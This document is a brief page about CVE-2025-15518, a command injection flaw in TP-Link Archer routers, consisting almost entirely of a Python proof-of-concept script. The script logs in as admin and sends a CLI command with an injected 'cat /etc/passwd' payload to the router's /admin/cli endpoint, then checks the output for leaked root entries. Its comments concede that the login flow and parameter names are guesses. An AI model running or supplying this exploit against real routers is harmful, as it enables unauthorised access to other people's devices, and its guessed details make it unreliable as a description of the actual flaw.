CVE-2025-15518 TP-Link Archer路由器命令注入漏洞

# PoC for CVE-2025-15518 (Command Injection) # This script demonstrates how an authenticated admin might trigger the vulnerability. # Usage: python3 poc.py <target_ip> <admin_password> import requests import sys import urllib.parse def exploit(target_ip, password): login_url = f"http://{target_ip}/" cli_url = f"http://{target_ip}/admin/cli" session = requests.Session() # 1. Authenticate (Simplified logic, actual mechanism may vary) print("[*] Attempting to login...") login_data = { "username": "admin", "password": password } # Assuming standard login flow, cookie handling needed try: r = session.post(login_url, data=login_data, timeout=5) if r.status_code != 200: print("[-] Login failed") return except Exception as e: print(f"[-] Connection error: {e}") return print("[+] Login successful") # 2. Send malicious payload to vulnerable CLI command # The vulnerability is in the wireless-control administrative CLI command. # Injecting a simple 'reboot' command or 'cat /etc/passwd' payload = "some_valid_param; cat /etc/passwd #" # Encoding payload for HTTP transmission encoded_payload = urllib.parse.quote(payload) # Constructing the malicious CLI command # Note: The exact parameter name and endpoint structure depend on the firmware implementation cli_command = f"wireless-control {payload}" print(f"[*] Sending payload: {cli_command}") data = { "command": cli_command } try: r = session.post(cli_url, data=data, timeout=5) print("[+] Response received:") print(r.text) if "root:" in r.text: print("[!] Command injection successful! /etc/passwd leaked.") else: print("[-] Exploit did not return expected output (might still be blind RCE).") except Exception as e: print(f"[-] Exploit error: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print(f"Usage: {sys.argv[0]} <target_ip> <admin_password>") sys.exit(1) exploit(sys.argv[1], sys.argv[2])